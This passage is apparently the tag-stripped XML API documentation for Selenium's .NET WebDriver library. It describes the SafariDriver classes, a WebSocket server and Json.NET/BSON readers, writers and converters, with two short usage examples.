JSON-encoded string representing this object. + + + + Returns the object as a string. + + A string with the Session ID, status value, and the value from JSON. + + + + Gets or sets the value from JSON. + + + + + Gets or sets the session ID. + + + + + Gets or sets the status value of the response. + + + + + Provides a mechanism for maintaining a session for a test + + + + + Initializes a new instance of the SessionId class + + Key for the session in use + + + + Get the value of the key + + The key in use + + + + Get the hash code of the key + + The hash code of the key + + + + Compares two Sessions + + Session to compare + True if they are equal or False if they are not + + + + Gives properties to get a stack trace + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class using the given property values. + + A containing the names and values for the properties of this . + + + + Gets a string representation of the object. + + A string representation of the object. + + + + Gets or sets the value of the filename in the stack + + + + + Gets or sets the value of the Class name in the stack trace + + + + + Gets or sets the line number + + + + + Gets or sets the Method name in the stack trace + + + + + Provides a way to convert a Char array to JSON + + + + + Checks if the object can be converted + + Type of the object to see if can be converted + True if can be converted else false + + + + Writes the Object to JSON + + A JSON Writer object + Object to be converted + JSON Serializer object instance + + + + Method not implemented + + JSON Reader instance + Object type being read + Existing Value to be read + JSON Serializer instance + Object from JSON + + + + Provides a way to convert Cookies to JSON and back + + + + + Checks if the object can be converted + + Type of the object + A value indicating if it can be converted + + + + Get the platform from the JSON reader + + JSON Reader instance + Object type being read + The existing value of the object + JSON Serializer instance + Platform from JSON reader + + + + Created a cookie from the JSON string + + The JSON writer with a string + Value of the string + JSON serializer instance + + + + Provides a way to convert DesiredCapabilities objects to JSON and back + + + + + Checks if the object can be converted + + Type of the object + A value indicating if it can be converted + + + + Get the capabilities from the JSON reader + + JSON Reader instance + Object type being read + The existing value of the object + JSON Serializer instance + Platform from JSON reader + + + + Creates a JSON string representing the DesiredCapabilities object + + The JSON writer with a string + Value of the string + JSON serializer instance + + + + Provides a mechanism to get the platform from JSON and write the platform + + + + + Checks if the type can be converted + + Object type to be converted + A value indicating if it can be converted + + + + Get the platform from the JSON reader + + JSON Reader instance + Object type being read + The existing value of the object + JSON Serializer instance + Platform from JSON reader + + + + Writes the platform to JSON + + JSON Writer instance + the platform + JSON Serializer Instance + + + + Converts the response to JSON + + + + + Checks if the object can be converted + + The object to be converted + True if it can be converted or false if can't be + + + + Process the reader to return an object from JSON + + A JSON reader + Type of the object + The existing value of the object + JSON Serializer + Object created from JSON + + + + Writes objects to JSON. Currently not implemented + + JSON Writer Object + Value to be written + JSON Serializer + + + + Wraps a command object to give it a unique ID as required by the Safari extension. + + + + + Initializes a new instance of the class. + + The object used as a base for this . + + + + Gets the ID of the command. + + + + + Creates a WebSockets command message according to the SafariDriver specification. + + + + + Initializes a new instance of the class. + + The to wrap. + + + + Gets the origin of the WebSocket message. + + + + + Gets the type of the WebSocket message. + + + + + Gets the wrapped command for transport. + + + + + Provides a way to access Safari to run your tests by creating a SafariDriver instance + + + When the WebDriver object has been instantiated the browser will load. The test can then navigate to the URL under test and + start your test. + + + + [TestFixture] + public class Testing + { + private IWebDriver driver; + + [SetUp] + public void SetUp() + { + driver = new SafariDriver(); + } + + [Test] + public void TestGoogle() + { + driver.Navigate().GoToUrl("http://www.google.co.uk"); + /* + * Rest of the test + */ + } + + [TearDown] + public void TearDown() + { + driver.Quit(); + driver.Dispose(); + } + } + + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class using the specified . + + The to use for this instance. + + + + Gets a object representing the image of the page on the screen. + + A object containing the image. + + + + Starts the command executor, enabling communication with the browser. + + + + + Stops the command executor, ending further communication with the browser. + + + + + Gets or sets the responsible for detecting + sequences of keystrokes representing file paths and names. + + The Safari driver does not allow a file detector to be set, + as the server component of the Safari driver (the Safari extension) only + allows uploads from the local computer environment. Attempting to set + this property has no effect, but does not throw an exception. If you + are attempting to run the Safari driver remotely, use + in conjunction with a standalone WebDriver server. + + + + Provides a way of executing Commands using the SafariDriver. + + + + + Initializes a new instance of the class. + + The used to create the command executor. + + + + Starts the command executor. + + + + + Executes a command + + The command you wish to execute + A response from the browser + + + + Releases all resources used by the . + + + + + Releases all resources associated with this . + + + if the Dispose method was explicitly called; otherwise, . + + + + Represents a connection to an instance of the Safari browser. + + + + + Initializes a new instance of the class. + + An representing a + connection using the WebSockets protocol. + + + + Sends a command to the SafariDriver and waits for a response. + + The to send to the driver. + The from the command. + + + + The class manages the Safari extension + used by the . It handles installation and uninstallation + as well as its extraction from an embedded resource, if needed. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class, given the + specified source path, and whether to skip the installation of the extension. + + The path to the SafariDriver.safariextz file used to install the + WebDriver Safari extension. + + to skip installation of the + WebDriver Safari extension; otherwise . + + + + Installs the WebDriver Safari extension. + + + + + Uninstalls the WebDriver Safari extension. + + + + + Gets Safari's application data directory for the current platform. + + Safari's application data directory for the current platform. + Thrown if the current platform is unsupported. + + + + Provides the WebSockets server for communicating with the Safari extension. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class using a specific port for communication. + + The port to use to communicate. + + + + Starts the server. + + + + + Stops the server. + + + + + Waits for a connection to be established with the server by the Safari browser extension. + + A containing the amount of time to wait for the connection. + A representing the connection to the browser. + + + + Releases all resources used by the . + + + + + Releases the unmanaged resources used by the and optionally + releases the managed resources. + + + to release managed and resources; + to only release unmanaged resources. + + + + Gets the URI of the server. + + + + + Class to manage options specific to + + + SafariOptions options = new SafariOptions(); + options.SkipExtensionInstallation = true; + + + + For use with SafariDriver: + + + + SafariDriver driver = new SafariDriver(options); + + + + For use with RemoteWebDriver: + + + + RemoteWebDriver driver = new RemoteWebDriver(new Uri("http://localhost:4444/wd/hub"), options.ToCapabilities()); + + + + + + Initializes a new instance of the class. + + + + + Provides a means to add additional capabilities not yet added as type safe options + for the Safari driver. + + The name of the capability to add. + The value of the capability to add. + + thrown when attempting to add a capability for which there is already a type safe option, or + when is or the empty string. + + Calling where + has already been added will overwrite the existing value with the new value in + + + + Returns ICapabilities for Safari with these options included as + capabilities. This copies the options. Further changes will not be + reflected in the returned capabilities. + + The ICapabilities for Safari with these options. + + + + Gets or sets the install location of the Safari browser. + + + + + Gets or sets the port on which the SafariDriver will listen for commands. + + + + + Gets or sets the path to the SafariDriver.safariextz file from which the extension will be installed. + + + + + Gets or sets a value indicating whether to skip the installation of the SafariDriver extension. + + + Set this property to if the SafariDriver extension is already installed + in Safari, and you don't want to overwrite it with the version included with WebDriver. + + + + + Creates a WebSockets response message according to the SafariDriver specification. + + + + + Returns a new from a JSON-encoded string. + + The JSON string to deserialize into a . + A object described by the JSON string. + + + + Gets or sets the ID of the command. + + + + + Gets or sets the origin of the response message. + + + + + Gets or sets the type of the response message. + + + + + Gets or sets the internal response for the given command. + + + + + Provides arguments for handling the event for accepting connections. + + + + + Initializes a new instance of the class. + + The to use in the event. + + + + Gets the object to use in handling the event. + + + + + Provides arguments for handling the event for receiving a binary message. + + + + + Initializes a new instance of the class. + + The binary data in the message. + + + + Gets the binary data of the message. + + + + + Provides arguments for handling events associated with connections to the server. + + + + + Initializes a new instance of the class. + + The representing the + connection to the client. + + + + Gets the connection to the client. + + + + + Provides arguments for handling events associated with errors. + + + + + Initializes a new instance of the class. + + The thrown for the error condition. + + + + Gets the associated with the error condition. + + + + + Enumerates the types of frames described by the WebSocket protocol. + + + + + Indicates a continuation frame. + + + + + Indicates a text frame. + + + + + Indicates a binary frame. + + + + + Indicates a close frame. + + + + + Indicates a ping frame. + + + + + Indicates a ping response frame. + + + + + Provides a factory for creating handlers for the different versions of the WebSocket protocol. + + + + + Prevents a default instance of the class from being created. + + + + + Creates a handler to handle a . + + The to create the handler for. + An object that can handle the specific protocol version + of the request. + + + + Gets the version of an . + + The to get the protocol version of. + A string containing the version of the protocol of the request. + + + + Provides an exception for handshake errors in the protocol connection. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with a specified error message. + + The message for the exception. + + + + Initializes a new instance of the class with a specified error message + and a reference to the inner exception that is the cause of this exception. + + The message for the exception. + The inner exception that is the cause of this exception. + + + + Initializes a new instance of the class with serialized data. + + The object that holds the serialized object data. + The contextual information about the source or destination. + + + + Provides an interface for handling communication over the WebSocket connection. + + + + + Processes data received by the connection. + + The data to be processed. + + + + Creates a handshake message for initiating connections. + + A byte array containing the handshake message. + + + + Creates a frame for text messages in the WebSocket protocol. + + The text of the message. + A byte array containing the message frame. + + + + Creates a frame for binary messages in the WebSocket protocol. + + The binary data of the message. + A byte array containing the message frame. + + + + Creates a frame for close messages in the WebSocket protocol. + + The connection close code of the message. + A byte array containing the message frame. + + + + Event raised when a text message is processed by the handler. + + + + + Event raised when a binary message is processed by the handler. + + + + + Event raised when a close message is processed by the handler. + + + + + Provides extension methods for converting integers. + + + + + Converts a to a big-endian byte array. + + The value to convert. + A byte array containing a big-endian representation of the value. + + + + Converts a to a big-endian byte array. + + The value to convert. + A byte array containing a big-endian representation of the value. + + + + Converts a byte array to a little-endian value. + + The byte array to convert. + The little-endian representation of the array as a . + + + + Provides an interface for parsing requests. + + + + + Parses the specified data into a . + + The data to be parsed. + The parsed . + + + + Parses the specified data into a for the given scheme. + + The data to be parsed. + The scheme to use in parsing the data. + The parsed . + + + + Provides an interface simplifying the use of asynchronous communication using a socket. + + + + + Accepts a connection for the socket. + + + + + Sends data over the socket. + + The data to be sent. + + + + Receives data over the socket. + + The buffer into which the data will be read. + The offset into the buffer at which the data will be read. + + + + Authenticates over the socket. + + An that specifies authentication information. + + + + Closes the socket connection. + + + + + Binds the socket to a local end point. + + The local end point to which to bind the socket. + + + + Starts listening to data received over the socket. + + The number of pending connections to process. + + + + Gets a value indicating whether the socket is connected. + + + + + Gets the remote IP address of the socket connection. + + + + + Gets a stream for reading and writing data. + + + + + Event raised when a connection is accepted by the socket. + + + + + Event raised when an error occurs accepting a connection. + + + + + Event raised when data is sent through the socket. + + + + + Event raised when there is an error sending data. + + + + + Event raised when data is received by the socket. + + + + + Event raised when there is an error receiving data. + + + + + Event raised when authentication is completed over the socket. + + + + + Event raised when there is an error authenticating over the socket. + + + + + Provides an interface describing a connection to a WebSocket. + + + + + Sends a text message over the connection. + + The text message to send. + + + + Sends a binary message over the connection. + + The binary message to send. + + + + Sends raw text over the connection, without passing through a handler. + + The message to send. + + + + Closes the connection. + + + + + Gets an object describing the connection. + + + + + Event raised when a connection is opened. + + + + + Event raised when a connection is closed. + + + + + Event raised when a text message is received via the connection. + + + + + Event raised when a binary message is received via the connection. + + + + + Event raised when a non-WebSocket message is received. + + + + + Event raised when an error occurs via the connection. + + + + + Event raised when data is sent via the connection. + + + + + Provides an interface describing information about the WebSocket connection. + + + + + Gets the sub-protocol of the connection. + + + + + Gets the origin of the connection. + + + + + Gets the host for the connection. + + + + + Gets the path for the connection. + + + + + Gets the IP address of the client for the connection. + + + + + Gets the collection of cookies for the connection. + + + + + Provides an interface for the server. + + + + + Starts the server. + + + + + Represents the state of a connection. + + + + + Initializes a new instance of the class. + + + + + Clears the current state. + + + + + Gets the data of the current state. + + + + + Gets or sets the frame type of the current state. + + + + + Provides arguments for handling the event for when data is received. + + + + + Initializes a new instance of the class. + + The number of bytes read. + A byte array containing the data read. + + + + Gets the number of bytes read. + + + + + Gets the data read by the connection. + + + + + Parses a request. + + + + + Initializes a new instance of the class. + + + + + Parses the specified data into a . + + The data to be parsed. + The parsed . + + + + Parses the specified data into a for the given scheme. + + The data to be parsed. + The scheme to use in parsing the data. + The parsed . + + + + Provides a wrapper around a . + + + + + Initializes a new instance of the class. + + The to wrap. + + + + Accepts a connection for the socket. + + + + + Sends data over the socket. + + The data to be sent. + + + + Receives data over the socket. + + The buffer into which the data will be read. + The offset into the buffer at which the data will be read. + + + + Authenticates over the socket. + + An that specifies authentication information. + + + + Closes the socket connection. + + + + + Binds the socket to a local end point. + + The local end point to which to bind the socket. + + + + Starts listening to data received over the socket. + + The number of pending connections to process. + + + + Releases all resources used by the . + + + + + Raises the Accepted event. + + An that contains the event data. + + + + Raises the AcceptError event. + + An that contains the event data. + + + + Raises the Sent event. + + An that contains the event data. + + + + Raises the SendError event. + + An that contains the event data. + + + + Raises the Received event. + + A that contains the event data. + + + + Raises the ReceiveError event. + + An that contains the event data. + + + + Raises the Authenticated event. + + An that contains the event data. + + + + Raises the AuthenticateError event. + + An that contains the event data. + + + + Releases the unmanaged resources used by the and optionally + releases the managed resources. + + + to release managed and resources; + to only release unmanaged resources. + + + + Gets a value indicating whether the socket is connected. + + + + + Gets the remote IP address of the socket connection. + + + + + Gets a stream for reading and writing data. + + + + + Event raised when a connection is accepted by the socket. + + + + + Event raised when an error occurs accepting a connection. + + + + + Event raised when data is sent through the socket. + + + + + Event raised when there is an error sending data. + + + + + Event raised when data is received by the socket. + + + + + Event raised when there is an error receiving data. + + + + + Event raised when authentication is completed over the socket. + + + + + Event raised when there is an error authenticating over the socket. + + + + + Provides arguments for handling events associated with connections to the server. + + + + + Initializes a new instance of the class. + + The representing the + connection to the client. + + + + Gets the connection to the client. + + + + + Gets or sets a value indicating whether to the event was processed. + + + + + Provides arguments for handling the event for receiving a text message. + + + + + Initializes a new instance of the class. + + The text message received. + + + + Gets the text message received. + + + + + Represents a connection to a WebSocket. + + + + + Initializes a new instance of the class. + + The used in the connection. + The scheme used to parse requests. + + + + Sends a text message over the connection. + + The text message to send. + + + + Sends a binary message over the connection. + + The binary message to send. + + + + Sends raw text over the connection, without passing through a handler. + + The message to send. + + + + Closes the connection. + + + + + Starts the connection receiving requests. + + + + + Fires the MessageReceived event. + + A that contains the event data. + + + + Fires the BinaryMessageReceived event. + + A that contains the event data. + + + + Fires the Opened event. + + A that contains the event data. + + + + Fires the Closed event. + + A that contains the event data. + + + + Fires the StandardHttpRequestReceived event. + + A that contains the event data. + + + + Fires the Sent event. + + An that contains the event data. + + + + Fires the ErrorReceived event. + + An that contains the event data. + + + + Gets or sets the implementation used for communication. + + + + + Gets or sets the implementation used for parsing and handling requests. + + + + + Gets an object describing the connection. + + + + + Event raised when a connection is opened. + + + + + Event raised when a connection is closed. + + + + + Event raised when a text message is received via the connection. + + + + + Event raised when a binary message is received via the connection. + + + + + Event raised when a non-WebSocket message is received. + + + + + Event raised when an error occurs via the connection. + + + + + Event raised when data is sent via the connection. + + + + + Provides information about a WebSocket connection. + + + + + Prevents a default instance of the class from being created. + + + + + Creates a for a given request and IP address. + + The to get the connection information for. + The IP address of the client connection. + The created . + + + + Gets the sub-protocol of the connection. + + + + + Gets the origin of the connection. + + + + + Gets the host for the connection. + + + + + Gets the path for the connection. + + + + + Gets the IP address of the client for the connection. + + + + + Gets the collection of cookies for the connection. + + + + + Provides a base exception for WebSocket errors. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with a specified error message. + + The message for the exception. + + + + Initializes a new instance of the class with a specified error message + and a reference to the inner exception that is the cause of this exception. + + The message for the exception. + The inner exception that is the cause of this exception. + + + + Initializes a new instance of the class with a specified status code. + + The status code of the exception. + + + + Initializes a new instance of the class with a specified status code + and error message. + + The status code of the exception. + The message for the exception. + + + + Initializes a new instance of the class with a specified status code, + error message, and a reference to the inner exception that is the cause of this exception. + + The status code for the exception. + The message for the exception. + The inner exception that is the cause of this exception. + + + + Initializes a new instance of the class with serialized data. + + The object that holds the serialized object data. + The contextual information about the source or destination. + + + + Sets the with information about the exception. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + + + + Gets the status code. + + + + + Defines an HTTP request via the WebSocket protocol. + + + + + Gets or sets the HTTP method of the request. + + + + + Gets or sets the path of the request. + + + + + Gets or sets the body of the request + + + + + Gets or sets the scheme of the request. + + + + + Gets or sets the WebSocket payload of the request. + + + + + Gets the headers for the request. + + + + + Gets or sets the value associated with the specified header. + + The name of the header. + The value of the header, if it exists. If it does not exist, returns an empty string. + + + + Provides an implementation of a WebSocket server. + + + + + Initializes a new instance of the class. + + The location at which to listen for connections. + + + + Initializes a new instance of the class. + + The port on which to listen for connections. + The location at which to listen for connections. + + + + Starts the server. + + + + + Releases all resources used by the . + + + + + Raises the ConnectionOpened event. + + A that contains the event data. + + + + Raises the ConnectionClosed event. + + A that contains the event data. + + + + Raises the StandardHttpRequestReceived event. + + A that contains the event data. + + + + Raises the MessageReceived event. + + A that contains the event data. + + + + Raises the ErrorOccurred event. + + An that contains the event data. + + + + Releases the unmanaged resources used by the and optionally + releases the managed resources. + + + to release managed and resources; + to only release unmanaged resources. + + + + Gets or sets the on which communication occurs. + + + + + Gets the location the server is listening on for connections. + + + + + Gets the port the server is listening on for connections. + + + + + Gets or sets the certificate used for authentication. + + + + + Gets a value indicating whether the connection is secure. + + + + + Event raised when a message is received from the WebSocket. + + + + + Event raised when a connection is opened. + + + + + Event raised when a connection is closed. + + + + + Event raised when an error occurs. + + + + + Event raised when a non-WebSocket message is received. + + + + + Provides status codes for the WebSocket protocol + + + + + Indicates a normal closure status. + + + + + Indicates a notification that the socket is closing. + + + + + Indicates an error in the protocol. + + + + + Indicates an attempt to transmit an unsupported data type. + + + + + Indicates no status information received. + + + + + Represents an abnormal closure of the socket. + + + + + Indicates invalid data in the frame. + + + + + Indicates a policy violation. + + + + + Indicates that the message is too big. + + + + + Indicates a mandatory extension. + + + + + Indicates an internal server error. + + + + + Indicates a TLS handshake. + + + + + Indicates an application error. + + + + + A collection of all of the status codes indicating a valid closing of the connection. + + + + + Provides the base class for handling WebSocket protocol requests. + + + + + Processes data received by the connection. + + The data to be processed. + + + + Creates a handshake message for initiating connections. + + A byte array containing the handshake message. + + + + Creates a frame for text messages in the WebSocket protocol. + + The text of the message. + A byte array containing the message frame. + + + + Creates a frame for binary messages in the WebSocket protocol. + + The binary data of the message. + A byte array containing the message frame. + + + + Creates a frame for close messages in the WebSocket protocol. + + The connection close code of the message. + A byte array containing the message frame. + + + + Receives the data from the protocol. + + + + + Gets the handshake for WebSocket protocol. + + A byte array representing the handshake in the WebSocket protocol. + + + + Prepares a text frame for the given text. + + The text for which to prepare the frame + A byte array representing the frame in the WebSocket protocol. + + + + Prepares a binary frame for the given binary data. + + The binary data for which to prepare the frame. + A byte array representing the frame in the WebSocket protocol. + + + + Prepares a close frame for the given connection. + + The code to use in closing the connection. + A byte array representing the frame in the WebSocket protocol. + + + + Raises the TextMessageHandled event. + + A that contains the event data. + + + + Raises the BinaryMessageHandled event. + + A that contains the event data. + + + + Raises the CloseHandled event. + + An that contains the event data. + + + + Gets the data to be handled by this handler. + + + + + Event raised when a text message is processed by the handler. + + + + + Event raised when a binary message is processed by the handler. + + + + + Event raised when a close message is processed by the handler. + + + + + Provides a request handler for the Hixie76 or Hybi00 version of the WebSocket protocol. + + + + + Initializes a new instance of the class. + + The to handle. + + + + Creates a new instance of the . + + The to handle. + A to perform handling of subsequent requests. + + + + Gets the handshake for WebSocket protocol. + + A byte array representing the handshake in the WebSocket protocol. + + + + Prepares a text frame for the given text. + + The text for which to prepare the frame. + A byte array representing the frame in the WebSocket protocol. + + + + Receives the data from the protocol. + + + + + Provides a handler for the RFC 6455 version of the WebSocket protocol. + + + + + Initializes a new instance of the class. + + The to handle. + + + + Creates a new instance of the handler. + + The request to handle. + A to perform handling of subsequent requests. + + + + Receives data from the protocol. + + + + + Prepares a text frame for the given text. + + The text for which to prepare the frame. + A byte array representing the frame in the WebSocket protocol. + + + + Prepares a close frame for the given connection. + + The code to use in closing the connection. + A byte array representing the frame in the WebSocket protocol. + + + + Gets the handshake for WebSocket protocol. + + A byte array representing the handshake in the WebSocket protocol. + + + + Prepares a binary frame for the given binary data. + + The binary data for which to prepare the frame. + A byte array representing the frame in the WebSocket protocol. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized Json data. + + + + + Specifies the state of the reader. + + + + + Initializes a new instance of the class with the specified . + + + + + Reads the next JSON token from the stream. + + true if the next token was read successfully; false if there are no more tokens to read. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A or a null reference if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Skips the children of the current token. + + + + + Sets the current token. + + The new token. + + + + Sets the current token and value. + + The new token. + The value. + + + + Sets the state based on current token type. + + + + + Releases unmanaged and - optionally - managed resources + + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Changes the to Closed. + + + + + Gets the current reader state. + + The current reader state. + + + + Gets or sets a value indicating whether the underlying stream or + should be closed when the reader is closed. + + + true to close the underlying stream or when + the reader is closed; otherwise false. The default is true. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + Get or set how time zones are handling when reading JSON. + + + + + Get or set how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + + + + + Gets the type of the current JSON token. + + + + + Gets the text value of the current JSON token. + + + + + Gets The Common Language Runtime (CLR) type for the current JSON token. + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets or sets the culture used when reading JSON. Defaults to . + + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized Json data. + + + + + Initializes a new instance of the class. + + The stream. + + + + Initializes a new instance of the class. + + The reader. + + + + Initializes a new instance of the class. + + The stream. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The reader. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Reads the next JSON token from the stream as a . + + + A or a null reference if the next JSON token is null. This method will return null at the end of an array. + + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + + A . This method will return null at the end of an array. + + + + + Reads the next JSON token from the stream. + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Changes the to Closed. + + + + + Gets or sets a value indicating whether binary data reading should compatible with incorrect Json.NET 3.5 written binary. + + + true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. + + + + + Gets or sets a value indicating whether the root object will be read as a JSON array. + + + true if the root object will be read as a JSON array; otherwise, false. + + + + + Gets or sets the used when reading values from BSON. + + The used when reading values from BSON. + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating Json data. + + + + + Creates an instance of the JsonWriter class. + + + + + Flushes whatever is in the buffer to the underlying streams and also flushes the underlying stream. + + + + + Closes this stream and the underlying stream. + + + + + Writes the beginning of a Json object. + + + + + Writes the end of a Json object. + + + + + Writes the beginning of a Json array. + + + + + Writes the end of an array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end constructor. + + + + + Writes the property name of a name/value pair on a Json object. + + The name of the property. + + + + Writes the end of the current Json object or array. + + + + + Writes the current token. + + The to read the token from. + + + + Writes the specified end token. + + The end token to write. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON without changing the writer's state. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes out a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes out the given white space. + + The string of white space characters. + + + + Gets or sets a value indicating whether the underlying stream or + should be closed when the writer is closed. + + + true to close the underlying stream or when + the writer is closed; otherwise false. The default is true. + + + + + Gets the top. + + The top. + + + + Gets the state of the writer. + + + + + Gets the path of the writer. + + + + + Indicates how JSON text output is formatted. + + + + + Get or set how dates are written to JSON text. + + + + + Get or set how time zones are handling when writing JSON text. + + + + + Get or set how strings are escaped when writing JSON text. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating Json data. + + + + + Initializes a new instance of the class. + + The stream. + + + + Initializes a new instance of the class. + + The writer. + + + + Flushes whatever is in the buffer to the underlying streams and also flushes the underlying stream. + + + + + Writes the end. + + The token. + + + + Writes out a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes the beginning of a Json array. + + + + + Writes the beginning of a Json object. + + + + + Writes the property name of a name/value pair on a Json object. + + The name of the property. + + + + Closes this stream and the underlying stream. + + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value that represents a BSON object id. + + The Object ID value to write. + + + + Writes a BSON regex. + + The regex pattern. + The regex options. + + + + Gets or sets the used when writing values to BSON. + When set to no conversion will occur. + + The used when writing values to BSON. + + + + Represents a BSON Oid (object id). + + + + + Initializes a new instance of the class. + + The Oid value. + + + + Gets or sets the value of the Oid. + + The value of the Oid. + + + + Converts an object to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets the of the JSON produced by the JsonConverter. + + The of the JSON produced by the JsonConverter. + + + + Gets a value indicating whether this can read JSON. + + + true if this can read JSON; otherwise, false. + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + Converts a binary value to and from a base 64 string value. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Create a custom object + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Creates an object which will then be populated by the serializer. + + Type of the object. + The created object. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Provides a base class for converting a to and from JSON. + + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an Entity Framework EntityKey to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + 